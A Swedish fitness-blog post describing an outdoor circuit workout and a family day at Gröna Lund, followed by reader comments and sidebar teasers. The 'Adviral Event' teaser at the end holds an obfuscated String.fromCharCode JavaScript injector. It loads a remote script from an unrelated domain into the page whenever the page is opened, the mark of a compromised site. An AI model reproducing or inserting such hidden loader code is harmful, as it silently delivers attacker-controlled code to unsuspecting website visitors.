Mot Grönalund!

37D329DF-A5C1-42F4-836E-47DCA07165EE

Godmorgon finingar!

Förmiddags Workout Done 👊🏻🍋💛😅  Lång PW, och intensivt cirkelpass på ett utegym nära Jonas. Bästa känslan att ha det ”klart”☺️

Om ni vill testa det jag körde så gör följande: 

utfallshopp

Burpees

dips mot bänk

Smal armhävning mot bänk

Battelrope

vandrande plankan.

körde 6×45 sek. 4 varv.

Nu ska vi strax in på Grönan. En heldag på Grönan med Lilleman 🎢🎡🎠

Alltså visst blir man liiite glad av mina träningskläder? 😅  Citroner och flamingo är en given succe i Gavelos nya kollektion 🍋🙌🏻💯

 Vi hörs sen!

Häng med bakom kulisserna på min instastory om du vill. @mymartens

 /My Martens 

29 Komentarer

  1. Ha en fin dag på Grönan!
    Själv undviker jag den p.g av all sunkighet och allt skrål. Tacka vet jag Liseberg och Tivoli (Danmark).

  2. Ha en fin dag på Grönan!
    Själv undviker jag den p.g av all sunkighet och allt skrål. Tacka vet jag Liseberg och Tivoli (Danmark).

  3. Vad härligt och träna jag träna med idag underkropp och morgon blir det överkropp?vad kul att jag har hittat din blogg. Köpte hälsa och fitness i lördag och där stod ju din blogg med.
    Mvh Anneli

  4. Vad härligt och träna jag träna med idag underkropp och morgon blir det överkropp😊vad kul att jag har hittat din blogg. Köpte hälsa och fitness i lördag och där stod ju din blogg med.
    Mvh Anneli

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/